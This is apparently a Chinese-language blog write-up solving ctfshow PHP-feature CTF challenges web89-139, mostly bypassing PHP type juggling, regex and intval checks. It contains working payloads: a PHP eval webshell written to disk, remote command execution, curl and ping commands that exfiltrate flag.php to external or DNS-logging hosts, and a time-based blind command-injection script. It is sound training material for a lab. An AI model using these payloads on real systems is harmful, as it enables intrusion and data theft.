PHP特性

前言

小菜鸡开始php特性的学习了,不断加油

web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
?>

看见这题我的思路就是用数组绕过,可能是因为之前md5()的时候强比较看习惯了,这里构造payload如下即可

num[]=1

在这里插入图片描述
至于为什么能这样绕过,这个的话就涉及到了这个intval函数的一个返回值,图解如下
在这里插入图片描述
可以看出非空的数组返回是1,因此这里就可以包含flag

web 90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这关的话就是要求变量值不能为4476,但用过intval函数后为4476,这里的话我们首先需要知道intval的第二个参数为0时的意思是什么

int intval( var,base)
Note: 
如果 base 是 0,通过检测 var 的格式来决定使用的进制: 
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,  
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,  
◦ 将使用 10 进制 (decimal)。 

此时的话我们再看一下在这个函数的运算
在这里插入图片描述
看到这里的话就可以看出payload就有多种构造方法了

num=4476e123
//这里就跟上面那个单引号的1e10情况一样,此时只看字母前面的
num=4476.1
//计算int值时,后面有小数点会直接舍去
num=0x117c
//0x表明是十六进制数,117c是4476的十六进制数
num=010574
//0表明是八进制数,10574是4476的八进制数

测试如下
在这里插入图片描述
执行结果如下
在这里插入图片描述

web 91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
?>

这里的话我们发现用了正则,对部分字母解释如下

^php表示以php开头,php$表示以php结尾
/i:如果设定此修正符,模式中的字符将同时匹配大小写字母。
/m: 将字符串视为多行。默认的正则开始“^”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符
也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“^”结束就是“$”。

这里对m可能有些不理解,其实它的意思就是它这里直接匹配了多行,没有m的时候我们加个换行符,它就认为结束了,为了更好的理解,我们进行本地测试

<?php
$a=$_GET['a'];
$b=preg_match('/^php$/im', $a);
$c=preg_match('/^php$/i', $a);
echo "$b\n";
echo "$c ";
?>

我们给它赋值php
在这里插入图片描述

再给它赋值php%0a1
在这里插入图片描述
此时的话就可以看出来这道题该怎么解了,构造payload如下

num=php%0a1

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里的话就是从强比较换成了弱比较,用之前的解题payload即可

num=4476.1

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

这里的话ban了字母,我们可以用八进制和小数点来绕过

num=4476.9
num=010574
//0表明是八进制,10574是4476的八进制数

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

这里的话可以发现多了个找0的位置的,所以你第一个数字不能是0,因为是0的话就输出nonono了,所以八进制被ban,这里只能用小数点来绕过了

num=4476.0

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
?>

这道题的话看着几乎是防死了,多过滤了.,这就意味着小数点绕过行不通,此时我们看到这个i修饰符,想到那个m修饰符,此时就想起来有个换行符%0a,它对实际输出没影响,它还可以绕过上面的那些函数,因此我们这里构造如下语句,就实现了绕过,由于小数点不能用,这里就用八进制

num=%0a010574
在这里插入图片描述

web 96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

这里的话我们可以看见这个错误的时候是用高亮回显这个u,所以就限制了这个u,这个u只有是路径的时候才行,此时还是太菜了,在参考过其他师傅的wp后才想到可以借用目录穿越,还可以用php:filter伪协议来读文件()

u=./flag.php
./指的是当前目录下的
u=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里的话可以看出来是php强比较,此时是要比较类型的,因此构造数组来进行绕过即可,构造两个非空数组(值不同),在判断的时候是不同的,而md5进行判断时,非空数组都返回null,此时就实现了绕过
在这里插入图片描述
因此这里构造如下payload

a[]=1&b[]=2

web98

<?
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

这里的话我们发现用到了三元运算符,php里的三元运算符和c语言差不多

2>1?1:0
如果2大于1.执行结果为1.否则执行0

因此这里的话就可以看出来是get传参时,就会将post传的参数当成get传参,中间的两个是让get的flag参数为flag,不过这个没啥用,所以不看就行,重要的是最后一个它在get传参为HTTP_FLAG且值为flag的时候可以绕过,因此我们随便构造一个get参数,再传它要求的post参数即可,构造payload如下

1=1
HTTP_FLAG=flag
在这里插入图片描述

web99

<?
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

这关的看起来很难啊,我看的时候也是一脸蒙,不过学习过函数后就发现其实挺简单的,下面先介绍一下函数

array_push($array, $value1 ):将一个或多个单元压入数组的末尾(入栈)
array_push() 将 array 当成一个栈,并将传入的变量压入 array 的末尾。array 的长度将根据入栈变量的数目增加。和如下效果相同: 
array
输入的数组。 
value1
要压入 array 末尾的第一个值。 

in_array( $needle,  $haystack):检查数组中是否存在某个值
参数
needle
待搜索的值。 
haystack
待搜索的数组。 


file_put_contents($filename,$data): 将一个字符串写入文件
filename
要被写入数据的文件名。 
data
要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。

array_push看起来有些晦涩难懂,我们可以看他的示例

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>  

以上例程会输出:
Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)

此时就可以理解这个语句了

for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}

他其实就是把变量i给存进去,而变量i是全部数字字母,因此这个变量allow里就存着全部字母和数字,然后再看后面那个if语句,它其实就是看n是否被定义且在这个数组内,在的话就将定义的n作为文件名,post传的content里的内容作为文件内容存入,因此我们这里的话就可以构造一句话木马或者那些查找语句,构造payload如下

n=1.php
content=<?php @eval($_POST[1]);?>

在这里插入图片描述
蚁剑连接1.php即可getshell
在这里插入图片描述

web100

<?
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?>

此时这关我们可以看出来v1只能传数字,因为=的优先级大于and,所以v0其实就是v1,这里我们给v1传个数值才能正确往下执行,然后看v2,他过滤了分号,而v3是找到;才执行
此时我们看语句,他说flag在ctfshow类里,而ctfshow类创建了一个实例,因此我们这里将它输出就可以输出flag,由于eval的时候这个('ctfshow')是没什么用,而且会给出执行不出来的回显,因此我们这里将其进行注释,注释方法有两种

方法一

这个eval加双引号执行的时候,里面需要用;来进行闭合,这里我们可以用?>

v1=1&v2=var_dump(ctfshow)?>%23&v3=;

在这里插入图片描述
0X2d是符号-的十六进制,转换过来即可获取真正flag

方法二

用/**/注释符来注释后面的ctfshow,这里我们注入payload如下

v1=1&v2=dump(ctfshow)/*&v3=*/;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}
?>

此时v2和v3都对内容进行了过滤,此时我们的$ctfshow是无法使用了,这个时候就需要介绍一个ReflectionClass 类了,ReflectionClass 类报告了一个类的有关信息。因此我们这里将这个进行输出,也就可以获得flag,构造payload如下

/?v1=1&v2=echo new ReflectionClass&v3=;

在这里插入图片描述
可以发现最后那里是空格,按照十六进制,从1-8,再从a开始往后7位一个一个试,即可获取flag

web102

<?
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

这个函数的话我们可以看出来是,post传v1,get传v2,v3,然后这个v4就有意思了,它这里是个骗局,因为赋值运算符优先级大于比较运算符,所以v4的值只取决于v2,因此我们保证v2是数字就可以,然后它从第三位开始截取了v2,并将传的v1作为函数执行给v2,此时v3再用伪协议filite来读取源码就可以了,构造payload如下

POST:
v1=hex2bin
GET:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

这里看似过滤了php,但细看的话就会发现过滤的是v1里的,但v1本来也就没放php,所以这关同上即可

web104

对于sha(),它是md5算法的一种,因此我们这里就需要想到php基于哈希算法出现的比较漏洞,详情可以看这篇文章,然后sha()执行过后为0e这种的有以下几个

aaK1STfY
aaO8zKZF

当然这个我觉得这个需要找,比较麻烦,因为我比较懒,所以直接使用数组绕过,即构造如下payload

GET:
v2[]=2
POST:
v1[]=1
在这里插入图片描述

web105

<?
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

这道题我们可以进行反推,我们要想得到flag,就需要 die(\$error)里面为flag,此时的话也就是需要error为flag,我们直接get传error=flag的话,此时\$key就是error,$value=flag,此时的$$value也就是$flag,也就实现了\$error=$flag,此时输出就是flag,可是get不允许\$key为error,我们此时发现还有suces,我们可以用\$suces来作一个中间量,我们让\$suces=$flag,然后post的是与get一样的,此时我们让\$error=$suces,此时也就实现了\$error=$flag,构造payload如下

GET:
suces=flag
POST:
error=suces

web106

<?
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

用数组绕过即可,当然也可构造那种0e的

GET:
v2[]=2
POST:
v1[]=1

web107

<?
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}



?>

本关的话这个parse_str函数的意思就是把v1里的参数传给了v2,然后我们就可以理解了,这里其实就是当v1中的flag的参数与v3的值进行md5加密后相等即可得到flag,此时构造payload如下

GET:
v3=1
POST:
v1=flag=c4ca4238a0b923820dcc509a6f75849b
//c4ca4238a0b923820dcc509a6f75849b是1的md5加密

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

这里面if (ereg ("^[a-zA-Z]+$", $_GET['c']) 这句话的大致含义就是需要以字母开头,然后匹配一次或多次,如果匹配不到就执行false,这时候还有一个===FALSE,所以要想这个执行结果为false,就需要前面为true,所以需要构造字母开头的,因为这个ereg匹配存在%00截断,所以这里就先构造一个a%00来进行绕过,后面那个strrev是倒置函数,36d为十进制数87,倒过来也是778,因此构造payload

?c=a%00778

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

首先这里用到了php的类,先列出以下几个式子

<?php 
class ctfshow{
    public $admin='quan9i';
    public function getName(){
        return $this->admin;
    }
}
$cf = new ctfshow();
echo $cf->getName();

在这里插入图片描述
而当

<?php 
class ctfshow{
    public $admin='quan9i';
    public function getName(){
        return $this->admin;
    }
}
$cf = new ctfshow();
echo $cf;
?>

输出为
在这里插入图片描述
此时我们如果想要输出,就需要用到魔术函数

<?php 
class ctfshow
{
    public $admin='quan9i';
    public function getName(){
        return $this->admin;
    }
    public function __toString(){
        return $this->admin;
    }
}
echo new ctfshow();

在这里插入图片描述
这个与我们题中的v1(v2())比较相似,这时候我们就可以将这个v1视为类名,v2视为里面的东西,此时先构造个PHPinfo试试

?v1=mysqli&v2=phpinfo

此时发现有回显,这时候我们找个类可以输出内容即可,构造payload如下

?v1=ReflectionClass&v2=system('ls')
?v1=ReflectionClass&v2=system('tac f*')

web 110

利用 FilesystemIterator类可获取指定目录下的所有文件
getcwd()函数 获取当前工作目录,构造payload如下:

?v1=FilesystemIterator&v2=getcwd

而后得到flag文件访问即可

web 111

<?
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

}

?>

这里要求变量v1必须为ctfshow,因此v2的话用全局变量来获取flag,构造payload如下

?v1=ctfshow&v2=GLOBALS

web112

检验传参是否是文件,并且过滤了一些字符,明显的伪协议利用

?file=php://filter/resource=flag.php

web113

过滤了filter,非预期payload

?file=compress.zlib://flag.php

/proc/self/root指向的就是根目录/,预期payload(目录溢出)

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

未过滤filiter,用filiter伪协议

?file=php://filter/resource=flag.php

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

要求num不直接为数字36,且trim函数检测num不等于36,此时如果num为36,就输出flag,trim过滤了空格,制表符,换行等,但未过滤%0c(换页符),因此我们构造payload如下

?num=%0c36

web123

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

这里可以看见要求传入三个参数且不能get传f10g,但要求f10g为flag_give_me才输出flag,这里就需要用到中间变量了,然后介绍一个小知识
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
因此CTF_SHOW.COM会被转换,但是它只转换一次,因此我们可以更改为CTF[SHOW.COM,此时我们传fun=echo 1试试,发现可以
在这里插入图片描述
再输出变量a也可以
此时就出现了非预期解

fun=echo $flag&CTF_SHOW=1&CTF[SHOW.COM=2

预期解

CTF_SHOW=2&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())
 implode()把数组元素组合为字符串.
 get_defined_vars() 函数返回由所有已定义变量所组成的数组。

web125

这里过滤了echo、var_dump已经print,但是只我们还有一个输出函数,那就是var_export
这里的话我们再用个输出数组的函数,从而输出flag
构造payload如下

CTF_SHOW=1
&CTF[SHOW.COM=2
&fun=var_export( get_defined_vars())
在这里插入图片描述

web 126

<?
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

这里过滤了几个字母,此时就无法使用上关的方法直接绕过了,这时候我们就会发现这个$_SERVE[‘argv’]其实之前都没有怎么用过,我们去了解之后会发现argv是一个执行脚本的参数,也就是说在加载的时候就把这里面的给执行了,本地测试如下

<?php
show_source(__FILE__);
$a=$_SERVER['argv'];
var_dump($a);
var_dump($a[0]);
?>
在这里插入图片描述

此时可以看见已经存入进去了

方法一

我们此时可以传入变量f10g,赋值就是那个flag_give_me,此时再用eval包含这个变量a的第一个参数,也就是f10g,构造payload如下

GET:
$flag=flag_give_me;
POST:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])

方法二

然后的话我们这里就是可以利用它来传f10g,我们在这里面存入空值和fl0g=flag_give_me,此时就可以绕过检测,这是因为我们此时的get传的payload如下

?a=1+fl0g=flag_give_me

它这个的+是作为分隔符(详情见parse_str函数),1是第一个传入的第一个键名,由于未赋值,所以它里面是空,然后第二个键名就是f10g,传入的值就是后面那个字符串
此时我们再用post来调用这个就可以了,想调用这个f10g的时候,需要用到parse_str函数,这个函数就是把字符串解析成多个变量,此时调用$a[1],也就是第一个+后面那个,也就实现了传入我们的f10g

CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

web127

这里要求传入的参数为ctf_show=ilove36d,可是过滤了下划线和一些其他的,我们知道[ . 空格 +可以转换为下划线,这里只有空格没被过滤,因此我们这里可以构造空格来进行绕过

ctf show=ilove36d

非预期解
$_SERVER['QUERY_STRING']是获取的服务器解码之前的,因此我们对url进行一次编码,此时就绕过了waf,构造payload如下

?ctf%5fshow=ilove36d

web128

这里几乎ban了全部,然后呢有个函数是gettext,它是输出的一种函数,类似于echo,它有一个别名,就是下划线,因此此时我们就可以给f1赋值给下划线,此时的话我们就可以给f2赋值
这个需要开启扩展extension=php_gettext.dll
然后开始本地测试

<?php
$a=$_GET['a'];
$b=$_GET['b'];
var_dump(call_user_func($a,$b));
var_dump(call_user_func(call_user_func($a,$b)));
show_source(__FILE__);

在这里插入图片描述
可以发现一次是输出,二次是执行,这里的话我们执行一个查看已定义的变量,不就可以输出flag了
在这里插入图片描述
在环境中测试
在这里插入图片描述
得到flag

web129

这里的话它设置了 stripos用来检测ctfshow,而它又设置了大于0时才往下执行,还需要包括flag因此我们这里的绕过方式就是目录穿越,构造如下payload

?f=/ctfshow/../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

此时查看源代码即可获取flag

web130

方法一

回溯,利用的是p神说的回溯次数限绕过,文章如下
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
其实它的形成原因就是正则不对一百万个之后的字符做限制,这里的话就可以利用脚本来得到flag

import requests

url='http://dbe64317-2990-4111-a667-2a972ce48571.challenge.ctf.show/'
data={
    'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

方法二

数组绕过

f[]=1

方法三

f=ctfshow12

这里当它是.*?的时候,就是一种非贪婪匹配状态,然后它含义就是前面的执行1次或n次,然后当我们输入ctfshow的时候,由于前面这个.*?里面的?要求至少匹配一次,我们这里前面啥也没有,所以就绕过了,而如果这里是(.*)?的话,他这个?就视为一种贪婪匹配,然后它的要求就是前面除换行匹配0到n次,此时我们输入ctfshow,此时匹配0次,也算是这里面的,所以这个时候就绕不过去

web131

这里要求f必须是36dctfshow,我们用回溯次数限制绕过那个方法来进行

import requests

url='http://9eec4e33-c564-4ded-a2af-232d78687ed2.challenge.ctf.show/'
data={
    'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

然后预期wp的话是这个

echo str_repeat('very', '250000').'36Dctfshow';

其实这俩都一样,都是输出了100w个字符突破了限制,然后传进去的

web132

开始的时候得到一个靶场,但是这个靶场看在这里插入图片描述找了一圈后发现没有啥东西,访问robots.txt,而后访问admi后得源码

include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

        if($code == 'admin'){
            echo $flag;
        }

    }
}

这里的话可以发现这个要求传入的都是字符串,然后有个要求,但是这里有&&和||,我们知道&&优先级大于||,所以这里就可以视为||是一个,后面是一个,我们只需要满足一个就可以输出true,因此我们这里指定username=admin即可往下执行,构造payload如下即可绕过

?username=admin&password=1&code=admin

web133

这关的话就是截取变量f的前六位再进行执行,此时的话我们的思路就是类似于覆盖变量那种
构造这种语句

?F=`$F `;sleep 5
反引号和分号中间有空格

此时我们会发现这里真的sleep了5,而按理来说,执行截取的前六位,为什么后面也会执行呢,分析如下

截取后为`$F` ;
此时就是eval("`$F` ");
而$F=`$F`;sleep5
那此时就相当于eval("``$F`;sleep 5`");
我们此时也就实现了rce

这里的话我们可以构造如下payload

?F=`$F`; curl`cat flag.php|grep "flag"`.域名
//域名是有dnslog.cn网址随机生成的
?F=`$F`; curl -X POST -F xx=@flag.php http://xxx
//利用外带将flag.php拿出来,后面那个ip可以用bp实现
?F=`$F` ;curl http://124.***.***.***/`tail -n 1 flag.php|base64`;
//显示经过base64编码后的最后一行内容到服务器

在这里插入图片描述
解码后即可得到flag

web134

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

这里的parse_str是将字符串解析成多个变量,extract是从数组中将变量导入到当前的符号表,也就是说将get传入的值变成变量,再将变量中$_POST部分导入到符号表,然后当key1和key2都为36d时输出flag,此时我们就可以利用变量覆盖来进行绕过

?_POST[key1]=36d&_POST[key2]=36d

查看源代码获取flag

web135

这关相比133多过滤了一些命令,这些curl base64都被过滤了,我们无法再进行curl,学习过其他师傅的wp后才想起来我们还可以直接把flag.php文件写入到一个新文件中,还是思想过于局限了,构造payload如下

F=`$F` ;cp flag.php 3.txt
F=`$F` ;nl flag.php>1.txt

当然,预期解的话不是这样,依然是利用的外带的方法来进行构造的payload

?F=`$F`; ping `nl flag.php | awk 'NR==15' | tr -cd "[a-z]"/"[0-9]"`.gbjp09.dnslog.cn -c 1

里面涉及一些函数的解释

awk 'NR==15'    已经读出的记录数,就是行号,默认从1开始,这里就是读15行的
tr -cd [a-z]"/"[0-9]" 删除a-z和0-9之外,也就是说只匹配字母和数字
-c, --complement:反选设定字符。用于字符补集替换,用SET2替换SET1中不包含的字符
-d, --delete:删除指令字符,删除SET1指定的所有字符
这里最后的-c 1 是ping命令附带的一个参数,用来指定ping的次数是1
c 数目:在发送指定数目的包后停止

而后修改为16行就可以看到整体的flag,按照8 4 4 4 12的方式拼接即可
在这里插入图片描述

web136

这里过滤了重定向符<>,但是还有tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

此时就可以构造payload如下来进行获取目录下的文件

c=ls /|tee 1
ls是查看当前目录, ls \就是查看根目录下的文件
|是管道符,这里的话就是指的是将前面的输出作为后面的输入
tee 1 指的是将前面的输出写入到1这个文件中,之所以不加后缀是因为.被过滤了 

在这里插入图片描述
得到flag文件fl49_15_h3r3,那就读这个文件,构造payload如下即可

c=nl /f149_15_h3r3|tee 3
在这里插入图片描述

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

这里的话call_user_func是回调函数,将第一个参数作为函数执行,我们可以看见ctfshow类里的静态方法getflag里面是输出flag的,因此只需要调用它就可以,然后类这里调用的话,动态是->,静态是::,具体的如下

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法

官方例子

<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
//输出 Hello!
call_user_func($classname .'::say_hello'); // As of 5.2.3
//输出 Hello!
$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));
//输出 Hello!
?> 

`因此构造payload如下

ctfshow=ctfshow::getFlag

web138

这里多了一行代码

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

strripos($_POST['ctfshow'], ":")是指:在变量中出现的位置,这里只要出现了:,它的返回值就绝对大于-1,此时就被限制了,因此这里其实就是ban了::,此时再看
这个官方例子的最后一个

<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
//输出 Hello!
call_user_func($classname .'::say_hello'); // As of 5.2.3
//输出 Hello!
$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));
//输出 Hello!
?> 

可以发现它是call_user_func(array($myobject, 'say_hello'));,可以分成两部分来进行利用,因此我们这里可以分开传,构造payload如下

ctfshow[]=ctfshow&ctfshow[]=getFlag
在这里插入图片描述

web139

与136类似,过滤了<>,无法写文件,但136的方法无法再次使用,可能是权限不够了,这里的话学习群主的视频wp后得知利用的是命令盲注
获取目录文件脚本如下

import requests

url="http://48eceb34-f01c-4610-bf8a-89d4b3b71a47.challenge.ctf.show/?c="
payload="if [ `ls / -1| cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 3;fi"
result=""
strings="abcdefghijklmnopqrstuvwxyz_-0123456789"

for r in range(1,6):#行
    for c in range(1,20):#长度
        for s in strings:
            target=url +payload.format(c,r,s)
            print(target)
            try:
                requests.get(target,timeout=2.5)
            except:
                result +=s
                print(result)
                break
    result += " "

对于payload的解读

if [ `ls / -1| cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 3;fi
if [  ]; then  ;fi
这个是固定句式,fi在这里表示语句到此结束
